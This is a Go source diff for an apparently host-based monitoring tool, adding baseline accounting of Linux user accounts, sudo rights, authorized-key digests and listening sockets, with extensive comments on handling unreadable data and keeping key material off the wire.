f, _ := deltaFilter([]deltaEvent{c.ev}, old, st, now.Add(deltaRefreshEvery))
if len(f) != 1 {
t.Fatalf("%s: a survivor was not reported: %d findings", c.what, len(f))
}
if st.settledThisPass != 0 || st.ShortLived != 0 {
t.Errorf("%s: still present and reported, yet counted as having come and gone "+
"(settledThisPass=%d ShortLived=%d)", c.what, st.settledThisPass, st.ShortLived)
}
}
}
+408
View File
@@ -0,0 +1,408 @@
package main
// IDENTITIES ENTER THE ACCOUNTING.
//
// Persistence on a machine is usually an ACCOUNT, not a process: a user with a
// shell, a sudo rule, a key appended to authorized_keys. All three survive a
// reboot and none of them is a running program, so the process half of this
// plane cannot see any of them however well it works.
//
// WHAT IS RECORDED, AND WHAT DELIBERATELY IS NOT. This runs on the person's own
// computer, so the rule is that the accounting holds the SHAPE of an identity
// and never its content:
//
// recorded account name, its shell, uid, whether it holds sudo rights,
// how many authorized keys it has, and a digest over the key
// set
// NOT recorded any key material, any password hash, the text of a sudo rule,
// any home directory content
//
// The digest is what makes `authkeys_changed` mean something a count cannot: a
// key swapped for another key is the same count and a different machine. It is
// a one-way hash over the key bodies, salted by baselineVersion like every
// other fingerprint here, so the accounting cannot be read back into keys.
//
// AND NONE OF IT LEAVES THE BOX. What rides the heartbeat is deltaSummary
// (deltarun.go:75-88) — four counts, the baseline state, timestamps and a note
// string. No entry, no name, no digest. The findings themselves stay on the
// machine and are read there with `observe:delta`. That was already true for
// processes; it is what makes this class safe to add, and it is why nothing in
// here may ever be put into a Note.
//
// THE SLOT IS THE ACCOUNT. Its shell, sudo and keys are in the fingerprint, so
// changing any of them is a change to a known account rather than a new one
// appearing — see baselineSlot. `identity_new` is then exactly what it says: an
// account that was not there before.
import (
"crypto/sha256"
"encoding/hex"
"sort"
"strconv"
"strings"
)
// identityObs is one account as the box observed it. Platform-neutral so the
// constructors below are testable without a filesystem.
type identityObs struct {
Name string
UID int
Shell string
// Sudo is whether this account is named by a sudo rule or sits in a group
// that is. The RULE ITSELF IS NOT KEPT — only that one exists.
Sudo bool
// SudoUnknown is set when the sudo rules could not be read at all. THIS IS
// NOT `Sudo == false`: reporting every account as unprivileged because this
// process could not open /etc/sudoers would make the next readable pass
// fire `sudoers_changed` at CRITICAL for every one of them. It is the same distinction DigestNote draws for a process whose
// executable could not be read, and it belongs in the FINGERPRINT rather
// than beside it, because only what is fingerprinted is compared.
SudoUnknown bool
// AuthKeys is how many authorized keys the account has, and KeyDigest is a
// one-way digest over their bodies. Both, because a count alone cannot see
// a swap and a digest alone cannot be read by a person.
AuthKeys int
KeyDigest string
KeysUnread string // why the key file could not be read, when it could not
}
// identityScanReport is what a platform's reader returns, including its own
// blindness. A reader that cannot look must say so: "no accounts with a shell"
// and "I could not read the account database" are different machines and this
// plane's whole discipline is not conflating them.
type identityScanReport struct {
Supported bool
Reason string
Accounts []identityObs
// Partial names a half that was readable in principle and failed in fact —
// sudo rules unreadable, a home directory that could not be entered. The
// accounting keeps what it got and says which half is short.
Partial string
}
// baselineFromIdentities is the single constructor, shared by BOTH sides for
// the reason deltaCollectLiveFrom gives: two spellings of this is how the
// accounting and the live scan drift apart.
func baselineFromIdentities(ids []identityObs) []baselineEntry {
out := make([]baselineEntry, 0, len(ids))
seen := map[string]bool{}
for _, id := range ids {
e := baselineEntryOfIdentity(id)
if seen[e.FP] {
continue
}
seen[e.FP] = true
out = append(out, e)
}
return out
}
// identityUnknown is what an unreadable property records as. A marker rather
// than an absent field, for the reason DigestNote gives: an absent value reads
// as "nothing there", and "I could not look" is a different fact.
const identityUnknown = "?"
func baselineEntryOfIdentity(id identityObs) baselineEntry {
// The fingerprinted state of the account, in one field. Ordered and
// explicit so a reader can see exactly what a change in this entry means.
// UNKNOWN IS A THIRD VALUE AND IT IS IN THE FINGERPRINT. "this box could
// not look" compared as "there are none" is the defect this plane's file
// headers say it has shipped before, and on this class it is expensive: an
// unreadable key file read as keys=0 produced `authkeys_changed` at HIGH
// carrying "authorized keys 1 → 0", i.e. the sentence "keys were removed"
// about a box that never looked.
sudo := strconv.FormatBool(id.Sudo)
if id.SudoUnknown {
sudo = identityUnknown
}
keys, digest := strconv.Itoa(id.AuthKeys), id.KeyDigest
if id.KeysUnread != "" {
keys, digest = identityUnknown, identityUnknown
}
state := "shell=" + id.Shell +
";uid=" + strconv.Itoa(id.UID) +
";sudo=" + sudo +
";keys=" + keys +
";keydigest=" + digest
e := baselineEntry{
Kind: "identity",
Unit: id.Name, // the slot: the account
User: id.Name,
ArgvShape: state,
Origin: "account-database",
}
if id.KeysUnread != "" {
// Same rule as DigestNote on a process: an absent number reads as zero,
// and "this box could not look" is a different fact.
e.DigestNote = "authorized keys not readable: " + id.KeysUnread
}
e.FP = baselineFP(e.Kind, e.ExeDigest, e.User, e.Unit, e.ArgvShape)
return e
}
// identityKeyDigest is a one-way digest over a key set, order-independent.
//
// SORTED BEFORE HASHING, because the order of lines in an authorized_keys file
// is not a fact about the machine — an editor, a config-management run or a
// re-write can reorder it without granting or revoking anything. Unsorted, the
// first such rewrite would report `authkeys_changed` on every box that had one,
// which is the kind of false finding that teaches people to ignore this plane.
//
// Salted with baselineVersion like every other fingerprint here. STATED
// EXACTLY, because the first version of this line claimed more than it
// delivers: the salt is a public constant in an open
// repo, so it defeats a GENERIC rainbow table and not one built for this
// program, and for an account with a single key the digest is a checkable
// guess against a candidate public key. That is acceptable here and it is not
// nothing: the file is 0600 and local, and anyone who can read it can read
// authorized_keys itself. It is not a reason to put a key body in the file.
func identityKeyDigest(keys []string) string {
if len(keys) == 0 {
return ""
}
norm := make([]string, 0, len(keys))
for _, k := range keys {
k = strings.TrimSpace(k)
if k == "" || strings.HasPrefix(k, "#") {
continue
}
// The comment field is the part a person edits freely ("erin@laptop"),
// and it grants nothing. Keeping it would report a renamed key as a new
// one. Type and body are what authorise.
f := strings.Fields(k)
if len(f) >= 2 {
k = f[0] + " " + f[1]
}
norm = append(norm, k)
}
if len(norm) == 0 {
return ""
}
sort.Strings(norm)
sum := sha256.Sum256([]byte(baselineVersion + "\x00authkeys\x00" + strings.Join(norm, "\n")))
return hex.EncodeToString(sum[:16])
}
// identityCountKeys is the number of real keys in an authorized_keys body —
// blanks and comments are not grants.
func identityCountKeys(keys []string) int {
n := 0
for _, k := range keys {
k = strings.TrimSpace(k)
if k == "" || strings.HasPrefix(k, "#") {
continue
}
n++
}
return n
}
// identityIsLoginShell answers whether a shell can be logged in with. The list
// is the conventional set of "no" shells; anything else counts as yes.
//
// DEFAULTING TO YES IS THE SAFE DIRECTION and is chosen deliberately. An
// unfamiliar shell on an account is more interesting, not less, so an unknown
// value must not silently drop the account out of the accounting — which is
// what a default-no would do, and it would do it for exactly the account
// somebody had reason to make unusual.
func identityIsLoginShell(shell string) bool {
s := strings.TrimSpace(shell)
if s == "" {
return false
}
switch s {
case "/usr/sbin/nologin", "/sbin/nologin", "/usr/bin/nologin",
"/bin/false", "/usr/bin/false", "/dev/null", "/bin/sync", "/usr/bin/sync":
return false
}
return true
}
// ── reading an identity entry back ──────────────────────────────────────────
//
// The fingerprinted state is one string (baselineEntryOfIdentity), so these are
// the accessors that turn it back into the facts a level rule and a sentence
// need. Parsing what this file wrote is deliberate: the alternative is extra
// fields on baselineEntry that only one class uses, and every one of those is
// another field the digest rules in baseline.go would have to speak about.
func identityField(e baselineEntry, key string) string {
for _, part := range strings.Split(e.ArgvShape, ";") {
if v, ok := strings.CutPrefix(part, key+"="); ok {
return v
}
}
return ""
}
// identitySudo returns whether a sudo rule names this account and whether that
// is KNOWN. Every caller must handle the second value.
//
// IT DID NOT HAVE ONE, AND identityKeys' comment explains exactly why that was
// wrong: "a level rule that reads an unknown count as zero is exactly the bug
// this marker exists to stop". The sudo half had no flag and mapped `?` to
// false, and the level table read it directly — so an account arriving with
// sudo, on a box whose sudoers could not be read, graded high, or WARN if it
// took a service uid, which an attacker picks freely.
func (e baselineEntry) identitySudo() (bool, bool) {
raw := identityField(e, "sudo")
if raw == identityUnknown || raw == "" {
return false, false
}
return raw == "true", true
}
// identitySudoOrFalse is for the two places that are comparing two entries and
// have already established both sides are known (sudoKnownBothSides). Nothing
// else may use it.
func (e baselineEntry) identitySudoOrFalse() bool {
v, _ := e.identitySudo()
return v
}
func sudoKnownBothSides(was, now baselineEntry) bool {
_, wok := was.identitySudo()
_, nok := now.identitySudo()
return wok && nok
}
func keysKnownBothSides(was, now baselineEntry) bool {
_, wok := was.identityKeys()
_, nok := now.identityKeys()
return wok && nok
}
// identityKeys returns the count and whether it is KNOWN. Every caller must
// handle the second value: a level rule that reads an unknown count as zero is
// exactly the bug this marker exists to stop.
func (e baselineEntry) identityKeys() (int, bool) {
raw := identityField(e, "keys")
if raw == identityUnknown {
return 0, false
}
n, err := strconv.Atoi(raw)
if err != nil {
return 0, false
}
return n, true
}
// identityUnreadable is true when any fingerprinted property of this account
// could not be read on the pass that produced the entry.
func (e baselineEntry) identityUnreadable() bool {
return identityField(e, "sudo") == identityUnknown ||
identityField(e, "keys") == identityUnknown
}
func (e baselineEntry) identityShell() string { return identityField(e, "shell") }
func (e baselineEntry) identityKeyDigest() string { return identityField(e, "keydigest") }
// identityChangeReason names WHICH property of an account moved, most
// consequential first. An account can change in more than one way at once —
// granting sudo and adding a key is one administrative act — and the reason
// reports the one that matters most while identityChangeWords says all of them.
func identityChangeReason(was, now baselineEntry) string {
// WHAT WAS READABLE CLASSIFIES FIRST, AND THE ORDER IS THE WHOLE POINT.
//
// The first version of this put the unreadable case at the top, citing the
// process half's deltaReasonUnreadable branch — and copied the wrong half of
// it. delta.go:693-700 checks HIGH before it checks unreadable, precisely so
// that "this was replaced AND it now talks to a model" cannot be demoted to
// a visibility notice by the unreadable shortcut. Putting unreadable first
// here did exactly that, one rung worse: measured against the real code, a
// sudo grant on an account whose keys could not be read came out
// `notice [digest_unreadable]` while the sentence beside it said "a sudo
// rule now names this account". The box knew, said so, and graded it as
// nothing. `usermod -u 0` with unreadable keys did the same.
//
// It was also sticky and machine-wide: the `?` lives in the ACCOUNTING, so
// one baseline taken with /home unmounted graded every later change to
// every one of those accounts a notice until somebody retook it.
//
// So: a property that MOVED and was readable on both sides is the reason.
// Unreadable is what is left when nothing readable moved — which is the
// only case where the comparison really is about visibility.
switch {
case sudoKnownBothSides(was, now) && was.identitySudoOrFalse() != now.identitySudoOrFalse():
return deltaReasonSudoers
case keysKnownBothSides(was, now) &&
(identityField(was, "keys") != identityField(now, "keys") ||
was.identityKeyDigest() != now.identityKeyDigest()):
return deltaReasonAuthKeys
case was.identityShell() != now.identityShell():
return deltaReasonShell
case identityField(was, "uid") != identityField(now, "uid"):
return deltaReasonUID
case was.identityUnreadable() || now.identityUnreadable():
// NOTHING READABLE MOVED and one side did not look — so the difference
// between these two entries IS the visibility, and nothing about the
// account may be asserted from it.
return deltaReasonUnreadable
}
return deltaReasonCommand
}
// identityChangeWords is the sentence a person reads. It names every property
// that moved, never the key material — see this file's header for the rule.
func identityChangeWords(was, now baselineEntry) string {
var parts []string
ws, wsok := was.identitySudo()
ns, nsok := now.identitySudo()
switch {
case !wsok || !nsok:
// THE CAVEAT THE KEYS HALF ALREADY HAD AND THIS ONE DID NOT. With the
// baseline at `?` and the pass reading true, the sentence was "a sudo
// rule now names this account" — asserting a GRANT whose previous state
// the box never saw.
parts = append(parts, "this machine could not read the sudo rules on one "+
"of the two passes, so this account's sudo rights were not compared")
case ws != ns && ns:
parts = append(parts, "a sudo rule now names this account")
case ws != ns:
parts = append(parts, "no sudo rule names this account any more")
}
wk, wok := was.identityKeys()
nk, nok := now.identityKeys()
switch {
case !wok || !nok:
// ONE SIDE DID NOT LOOK, so nothing may be said about the keys. The
// sentence that used to come out here was "authorized keys 1 → 0",
// i.e. keys were removed, about a box that never read the file.
parts = append(parts, "this machine could not read this account's "+
"authorized keys on one of the two passes, so they were not compared")
case wk != nk:
parts = append(parts, "authorized keys "+strconv.Itoa(wk)+" → "+strconv.Itoa(nk))
case was.identityKeyDigest() != now.identityKeyDigest():
// THE CASE A COUNT CANNOT SEE, and the reason the digest is kept at
// all: one key swapped for another is the same number and a different
// machine.
parts = append(parts, "the same number of authorized keys, but not the same keys")
}
if was.identityShell() != now.identityShell() {
parts = append(parts, "shell "+was.identityShell()+" → "+now.identityShell())
}
if u1, u2 := identityField(was, "uid"), identityField(now, "uid"); u1 != u2 {
parts = append(parts, "uid "+u1+" → "+u2)
}
if len(parts) == 0 {
return "this account's recorded state changed"
}
return strings.Join(parts, "; ")
}
// listenerIsExposed answers whether a listener faces anything but this machine.
// It decides high-versus-warn on listener_new, and nothing else.
//
// LOOPBACK IS THE ONLY THING TREATED AS UNEXPOSED, and unknown counts as
// exposed. A bind address this does not recognise is more interesting, not
// less — the safe direction is the one that reports.
func listenerIsExposed(e baselineEntry) bool {
addr := listenerAddr(e)
switch addr {
case "127.0.0.1", "::1", "localhost":
return false
}
// The whole 127/8 range, which a service is entitled to bind anywhere in.
return !strings.HasPrefix(addr, "127.")
}
+425
View File
@@ -0,0 +1,425 @@
//go:build linux
package main
// The Linux account reader. Everything here is a read; nothing in this file
// writes, and nothing it reads leaves the machine (baseline_identity.go says
// what does).
import (
"bufio"
"os"
"path/filepath"
"strconv"
"strings"
)
// identityScan reads the accounts this machine can be logged into as.
//
// ONLY ACCOUNTS WITH A LOGIN SHELL. A stock Debian has some fifty system
// accounts — daemon, bin, sys, www-data — every one of them nologin, none of
// them a way in, and all of them noise that would bury the one account that
// matters. The filter is on the shell because that is the property that makes
// an account a route onto the box.
//
// A NON-ROOT RUN IS BLIND HERE AND SAYS SO. /etc/passwd is world-readable, so
// the account list comes out either way — but the sudo rules and every other
// user's authorized_keys do not, and an accounting that silently recorded
// "0 keys" for every account would report the truth backwards. deltaPass
// already refuses to run as a non-administrator; this is the second guard.
// This platform reads both classes, so a failed read while the accounting is
// taken is written `unread`, not `unsupported` (baselineCoverageRead).
const (
listenersReadableHere = true
identitiesReadableHere = true
)
func identityScan() identityScanReport {
f, err := os.Open(identityPath("/etc/passwd"))
if err != nil {
return identityScanReport{Reason: "the account database could not be read: " + err.Error()}
}
defer f.Close()
sudoers, sudoPartial := sudoPrincipals()
// WHERE SSHD ACTUALLY LOOKS FOR KEYS, which is not always the default pair.
// A box with `AuthorizedKeysFile /etc/ssh/authorized_keys/%u` recorded "no
// keys" for every account, silently — the class went narrow with no note,
// and a new account holding central keys graded high instead of critical.
keyPaths, keyNote := authorizedKeysPaths()
r := identityScanReport{Supported: true, Partial: strings.TrimSpace(sudoPartial + " " + keyNote)}
sc := bufio.NewScanner(f)
for sc.Scan() {
line := strings.TrimSpace(sc.Text())
if line == "" || strings.HasPrefix(line, "#") {
continue
}
// name:passwd:uid:gid:gecos:home:shell
p := strings.Split(line, ":")
if len(p) < 7 {
continue
}
shell := strings.TrimSpace(p[6])
if !identityIsLoginShell(shell) {
continue
}
uid, err := strconv.Atoi(strings.TrimSpace(p[2]))
if err != nil {
continue
}
name := strings.TrimSpace(p[0])
// THE PARTIAL IS NOW LOAD-BEARING. It was set here and read NOWHERE,
// so unreadable sudo rules recorded sudo=false for
// every account — and the next readable pass fired `sudoers_changed` at
// CRITICAL for each one, saying a rule had been removed that had never
// been seen.
id := identityObs{Name: name, UID: uid, Shell: shell,
Sudo: sudoers[name], SudoUnknown: sudoPartial != ""}
keys, unread := authorizedKeysOf(strings.TrimSpace(p[5]), name, strconv.Itoa(uid), keyPaths)
id.AuthKeys, id.KeyDigest, id.KeysUnread = identityCountKeys(keys), identityKeyDigest(keys), unread
r.Accounts = append(r.Accounts, id)
}
if err := sc.Err(); err != nil {
// UNSUPPORTED, NOT PARTIAL, and the difference is which half is short.
// Partial means "some PROPERTY of these accounts is narrow" and the
// entries are still compared. A scanner error drops ENTRIES — measured
// with one 70 KB GECOS line, 2 accounts of 5 — and comparing that set
// reports the tail as identity_gone and never sees an account created
// after the long line at all. Same family as the failed `ss`, and the
// same answer listenerScan gives: refuse the class.
return identityScanReport{Reason: "the account database could not be read to the end: " + err.Error()}
}
return r
}
// authorizedKeysOf reads an account's keys. Returns the lines and, when it
// could not look, why — never an empty list standing in for both.
func authorizedKeysOf(home, user, uid string, paths []string) (keys []string, unread string) {
if home == "" {
return nil, "no home directory recorded"
}
// BOTH CONVENTIONAL PATHS. sshd's default AuthorizedKeysFile is
// ".ssh/authorized_keys .ssh/authorized_keys2", and the second is still
// honoured on a stock install — a key parked there would be a working way
// in that an accounting reading only the first would never see.
var missing int
for _, rel := range paths {
b, err := os.ReadFile(authorizedKeysPath(rel, home, user, uid))
if err != nil {
if os.IsNotExist(err) {
missing++
continue
}
// Permission denied is the interesting one: it means this account
// HAS a key file this process may not read, which is not the same
// as having none.
return keys, err.Error()
}
keys = append(keys, strings.Split(string(b), "\n")...)
}
if missing == len(paths) && len(keys) == 0 {
// BOTH FILES ABSENT MEANS ONE OF TWO THINGS, and they are not the same.
// If the home directory itself is not there, this
// box did not look — an unmounted /home, a network home not yet
// available, an account whose home was never created. Reading that as
// "no keys" makes every account report `authkeys_changed` the moment
// the mount appears. A home that IS there with no .ssh is genuinely
// none, and says nothing.
if _, err := os.Stat(home); err != nil {
return nil, "home directory not readable: " + err.Error()
}
return nil, ""
}
return keys, ""
}
// authorizedKeysPaths is what sshd_config says AuthorizedKeysFile is, or the
// default pair when it says nothing. Tokens are left in place and expanded per
// account by authorizedKeysPath.
//
// Returns a note when the setting is NOT the default, because a narrowed or
// relocated key lookup changes what this whole class can see and the person is
// entitled to know that rather than reading a confident "0 keys".
// sshdConfigPath is a var for the same reason as listenerSockets: a test must
// be able to hand this an sshd_config, and the machine's own is not one it may
// write.
var sshdConfigPath = "/etc/ssh/sshd_config"
// identityRoot is "/" in production and a fixture directory in a test. Without
// it nothing could execute identityScan itself, so its WIRING — that it sets
// SudoUnknown, that it feeds the sshd_config paths through, that it carries the
// narrowed-lookup note — was untestable and a mutation sweep found every one of
// those unguarded.
var identityRoot = "/"
func identityPath(p string) string {
if identityRoot == "/" || identityRoot == "" {
return p
}
return filepath.Join(identityRoot, p)
}
func authorizedKeysPaths() ([]string, string) {
def := []string{".ssh/authorized_keys", ".ssh/authorized_keys2"}
b, err := os.ReadFile(sshdConfigPath)
if err != nil {
if os.IsNotExist(err) {
return def, "" // no sshd here; the default pair is the right guess
}
return def, "sshd_config not readable, so authorized-key locations are assumed to be the default"
}
// INCLUDE IS THE DEBIAN 12 / UBUNTU 22.04 DEFAULT LAYOUT, and missing it put
// this straight back to the "no keys" failure with no note: a drop-in under
// /etc/ssh/sshd_config.d/*.conf sets AuthorizedKeysFile and nothing here saw
// it. One level of Include, which is what the
// stock layout uses; deeper nesting is named as a limit rather than walked.
body := string(b)
for _, line := range strings.Split(string(b), "\n") {
f := strings.Fields(strings.TrimSpace(line))
if len(f) < 2 || !strings.EqualFold(f[0], "Include") {
continue
}
for _, pat := range f[1:] {
if !filepath.IsAbs(pat) {
pat = filepath.Join(filepath.Dir(sshdConfigPath), pat)
}
if hits, err := filepath.Glob(pat); err == nil {
for _, h := range hits {
if ib, err := os.ReadFile(h); err == nil {
body += "\n" + string(ib)
}
}
}
}
}
for _, line := range strings.Split(body, "\n") {
line = strings.TrimSpace(line)
if line == "" || strings.HasPrefix(line, "#") {
continue
}
f := strings.Fields(line)
// A Match BLOCK SCOPES EVERYTHING AFTER IT to some users or addresses,
// so an AuthorizedKeysFile inside one is NOT the global setting and
// applying it to every account would be wrong in the confident
// direction. Stop at the first Match and say the lookup may be narrower
// than what was read.
if strings.EqualFold(f[0], "Match") {
break
}
if len(f) < 2 || !strings.EqualFold(f[0], "AuthorizedKeysFile") {
continue
}
if strings.EqualFold(f[1], "none") {
return nil, "sshd is configured with AuthorizedKeysFile none, so no account has ssh keys to account for"
}
// NO PATH IN THIS STRING. It reaches deltaSummary.Note, which rides the
// heartbeat — so the first version of it put a line of the user's own
// sshd configuration on the wire every pass. This file's header promises the class adds nothing that leaves
// the machine, and it was written when every note was a fixed sentence.
// The generic form does the note's whole job: it tells the person the
// class is narrowed and to go look. The path is on their box already.
return f[1:], "authorized keys are read from a location this platform " +
"does not choose, so what this class can see depends on that setting"
}
return def, ""
}
// authorizedKeysPath expands sshd's tokens in one AuthorizedKeysFile entry.
// A relative path is relative to the account's home, which is sshd's own rule.
func authorizedKeysPath(pattern, home, user, uid string) string {
// %% FIRST, VIA A PLACEHOLDER, or its own percent gets eaten by the token
// that follows it. Measured: `%%h/.ssh/ak` expanded to
// `/home/erin/%/home/erin/.ssh/ak`, because %h was substituted before %%
// was collapsed. The path then does not exist, which
// reads as ENOENT, which reads as "this account has no keys".
const esc = "\x00pct\x00"
p := strings.ReplaceAll(pattern, "%%", esc)
p = strings.ReplaceAll(p, "%u", user)
p = strings.ReplaceAll(p, "%U", uid)
p = strings.ReplaceAll(p, "%h", home)
p = strings.ReplaceAll(p, esc, "%")
if filepath.IsAbs(p) {
return p
}
return filepath.Join(home, p)
}
// sudoPrincipals is the set of account names a sudo rule names, directly or
// through a group.
//
// DELIBERATELY SHALLOW, and this is the honest limit of the class. It reads
// every name in the User_List on the left of a rule, comma-separated with or
// without spaces; it does not evaluate sudo's grammar, expand
// netgroups, follow #includedir recursion beyond one level, or decide what a
// rule actually permits. So `sudo=true` means "a rule names this account", not
// "this account can become root" — and a rule that grants nothing still sets
// it. That direction is the right one to be wrong in: a false true is a person
// reading one extra line, a false false is a missed privilege grant.
func sudoPrincipals() (map[string]bool, string) {
out := map[string]bool{}
var unreadable []string
files := []string{identityPath("/etc/sudoers")}
if ents, err := os.ReadDir(identityPath("/etc/sudoers.d")); err == nil {
for _, e := range ents {
if e.IsDir() || strings.HasSuffix(e.Name(), "~") || strings.Contains(e.Name(), ".") {
// sudo itself ignores names containing a dot or ending in ~.
continue
}
files = append(files, filepath.Join(identityPath("/etc/sudoers.d"), e.Name()))
}
} else if !os.IsNotExist(err) {
unreadable = append(unreadable, "/etc/sudoers.d")
}
groups := map[string]bool{}
var bodies []string
for _, path := range files {
b, err := os.ReadFile(path)
if err != nil {
unreadable = append(unreadable, path)
continue
}
bodies = append(bodies, string(b))
}
sudoParse(bodies, out, groups)
for name := range groupMembers(groups) {
out[name] = true
}
if len(unreadable) > 0 {
return out, "sudo rules not readable: " + strings.Join(unreadable, ", ")
}
return out, ""
}
// sudoParse is the line reading, split out so it can be tested without an
// /etc — which is the only reason the comma-separated User_List bug
// could not be caught by a unit test before.
func sudoParse(bodies []string, out, groups map[string]bool) {
for _, body := range bodies {
for _, line := range strings.Split(body, "\n") {
line = strings.TrimSpace(line)
if line == "" || strings.HasPrefix(line, "#") || strings.HasPrefix(line, "Defaults") {
continue
}
f := strings.Fields(line)
if len(f) < 2 || !strings.Contains(line, "=") {
continue
}
// A User_List IS COMMA-SEPARATED, and taking only the first name
// was wrong in both directions.
// `erin,dave ALL=(ALL:ALL) ALL` is ordinary sudoers: it recorded a
// principal literally named "erin,dave" and left BOTH real
// accounts reading sudo=false — a missed privilege grant, which is
// the direction this function must never be wrong in. And adding a
// second name to an existing rule then flipped the first account
// from true to false, which surfaces as `sudoers_changed` at
// CRITICAL carrying "no sudo rule names this account any more".
// That sentence was untrue and it was on the page rung.
// THE WHOLE User_List, WHICH IS NOT ALWAYS ONE FIELD. `visudo -c`
// accepts `erin, dave ALL=(ALL:ALL) ALL` — a space after the
// comma — and splitting only f[0] found `erin` and missed `dave`.
// The list is everything up to the
// first field that is not part of it, which is the one containing
// the `=`.
for _, who := range strings.Split(sudoUserList(f), ",") {
who = strings.TrimSpace(who)
if who == "" {
continue
}
switch {
case strings.HasPrefix(who, "%"):
groups[strings.TrimPrefix(who, "%")] = true
case strings.HasPrefix(who, "User_Alias"), strings.HasPrefix(who, "Runas_Alias"),
strings.HasPrefix(who, "Host_Alias"), strings.HasPrefix(who, "Cmnd_Alias"):
// An alias DEFINITION names no principal by itself; its
// members are picked up where the alias is used, which this
// shallow read does not follow. Named in the doc comment.
default:
out[who] = true
}
}
}
}
}
// sudoUserList is the principal list at the head of a rule, rejoined across the
// spaces a comma-separated list may contain. Everything before the field that
// holds the `=` belongs to it.
func sudoUserList(f []string) string {
var head []string
for _, tok := range f {
if strings.Contains(tok, "=") {
break
}
head = append(head, tok)
}
if len(head) == 0 {
return f[0]
}
// "erin, dave" and "erin,dave" and "erin ,dave" all become "erin,dave".
return strings.ReplaceAll(strings.Join(head, ""), " ", "")
}
// groupMembers expands the named groups to their member accounts, from
// /etc/group. A group's members also come from each account's primary gid,
// which is not read here — see the shallowness note on sudoPrincipals.
func groupMembers(want map[string]bool) map[string]bool {
out := map[string]bool{}
if len(want) == 0 {
return out
}
b, err := os.ReadFile(identityPath("/etc/group"))
if err != nil {
return out
}
for _, line := range strings.Split(string(b), "\n") {
p := strings.Split(strings.TrimSpace(line), ":")
if len(p) < 4 || !want[p[0]] {
continue
}
for _, m := range strings.Split(p[3], ",") {
if m = strings.TrimSpace(m); m != "" {
out[m] = true
}
}
}
return out
}
// listenerScan is the socket half, read through the observe plane's own reader
// so the accounting and `observe:sockets` can never disagree about what is
// listening — the same rule deltaListeningPIDs states.
// listenerSockets is readSockets as a var, so a test can hand this the states
// a real `ss` produces and nothing else can: a non-zero exit, a half table.
// The first test written for this reimplemented the logic inline instead, and a
// mutation proved it tested a copy rather than the code.
var listenerSockets = readSockets
func listenerScan() ([]listenSocket, bool, string) {
r := listenerSockets()
if !r.Supported {
return nil, false, r.Reason
}
if r.Failed != "" {
// AN `ss` THAT RAN AND FAILED IS NOT A MACHINE WITH NO LISTENERS. This
// is the state that produced 54 false `listener_gone` in review, and
// the reverse — an accounting TAKEN in this state records
// `listeners=all` with zero entries, and the next healthy pass reports
// every listener as new, 30 of them high, repeating every beat until
// somebody retakes the accounting.
return nil, false, "socket table could not be read (" + r.Failed + ")"
}
if r.Partial != "" {
// HALF A TABLE IS NOT A TABLE, for the reason deltaListeningPIDs gives
// and one more that is specific to the accounting: a baseline taken
// from a partial table records fewer listeners than the machine has,
// and every one it missed becomes a `listener_new` finding on the next
// pass that CAN read the table. A partial read must not become the
// definition of normal.
return nil, false, "socket table read short (" + r.Partial + ")"
}
return r.Sockets, true, ""
}
+41
View File
@@ -0,0 +1,41 @@
//go:build !linux
package main
// macOS and Windows keep accounts and listening sockets somewhere this plane
// does not read yet, and this file SAYS SO rather than leaving an absent
// symbol — the same shape baseline_all_other.go and delta_other.go use.
//
// Both return unsupported with a reason, which is what puts
// `identities=unsupported` / `listeners=unsupported` into the baseline's
// coverage line. That matters more than it looks: a delta computed against a
// baseline holding no identities must report that it cannot see identities, and
// must never report that this machine has none. Returning an empty list here
// would produce exactly the second sentence.
//
// What each would need, so the next person does not have to rediscover it:
//
// darwin accounts live in OpenDirectory, not /etc/passwd (`dscl . -list
// /Users`), sudo rules are in the same files as Linux, and the
// socket table comes from `lsof -iTCP -sTCP:LISTEN` or netstat
// rather than `ss`.
// windows accounts are local users / group membership (LocalAccounts), there
// is no sudoers, and the equivalent of a key grant is a service
// logon right. The listener half is `netstat -ano` or the
// iphlpapi tables.
// This platform reads neither class: its coverage says `unsupported`.
const (
listenersReadableHere = false
identitiesReadableHere = false
)
func identityScan() identityScanReport {
return identityScanReport{
Reason: "this platform's account database is not read by the bastion yet",
}
}
func listenerScan() ([]listenSocket, bool, string) {
return nil, false, "this platform's socket table is not read by the bastion yet"
}
+139
View File
@@ -0,0 +1,139 @@
package main
// LISTENERS ENTER THE ACCOUNTING.
//
// A listening port is the thing an intruder needs and the thing a person can
// actually reason about: "this machine started answering on 4444" is a sentence
// with a decision behind it, in a way that "a new process appeared" often is
// not. It is also the class this plane was missing from its first version —
// baselineEntry.Kind has documented `listener` from the start and nothing ever
// wrote one, which is what the fixed note in delta.go existed to admit.
//
// THE SLOT IS THE BIND POINT, THE FINGERPRINT ADDS WHO HOLDS IT. That split is
// not decoration, it is what makes the three events mean different things:
//
// a port nothing was on before -> listener_new (the alarming one)
// the same port, a different program -> listener_changed (more alarming)
// a port that stopped answering -> listener_gone
//
// Keyed the same way processes are, for the same reason: the SLOT is position
// (proto + address + port) and the FINGERPRINT is position plus identity (the
// program holding it). Had the program been part of the slot, a service
// replaced at the same port would have come out as an unrelated gone/new pair
// and the sentence a person needs — "something else is answering on 443 now" —
// could not be formed.
//
// DELIBERATELY ABSENT: the pid. It changes on every restart of the same
// service, and baseline.go:36-38 gives the rule. It is carried on the live
// entry (deltaLiveEntry.PIDs) where the noise filter and the kill path need it,
// exactly as processes do.
//
// THE ADDRESS IS PART OF THE SLOT, and this is the one judgement here worth
// arguing with. 127.0.0.1:9000 and 0.0.0.0:9000 are different facts about a
// machine — one is reachable from the network and one is not — so a service
// that starts binding the wildcard instead of loopback SHOULD be a new listener
// rather than a silent change of a known one. The cost is that a box whose
// address changes (DHCP, a new interface) reports its listeners as new once;
// the alternative costs the detection of a service quietly opening itself to
// the network, which is the whole point of the class.
import (
"sort"
"strconv"
"strings"
)
// baselineFromListeners turns a socket table into accounting entries. Pure, and
// shared by BOTH sides — collectBaseline and deltaCollectLive — because the one
// defect this plane has already shipped twice is the two sides folding the same
// observations differently (deltaCollectLiveFrom says so at length).
//
// Returns the entries and the pids that produced each, in step: the caller
// building live entries needs the pids, the caller building the accounting
// throws them away.
func baselineFromListeners(socks []listenSocket) ([]baselineEntry, [][]int) {
// FOLDED BY FINGERPRINT, because one service legitimately holds several
// sockets that are the same fact. sshd on :22 over IPv4 and IPv6 is one
// listener to a person; nginx with four workers accept()ing the same bound
// port is one listener too. Unfolded, a restart that redistributed workers
// would churn the accounting with no change to the machine.
byFP := map[string]int{}
var out []baselineEntry
var pids [][]int
for _, s := range socks {
e := baselineEntryOfListener(s)
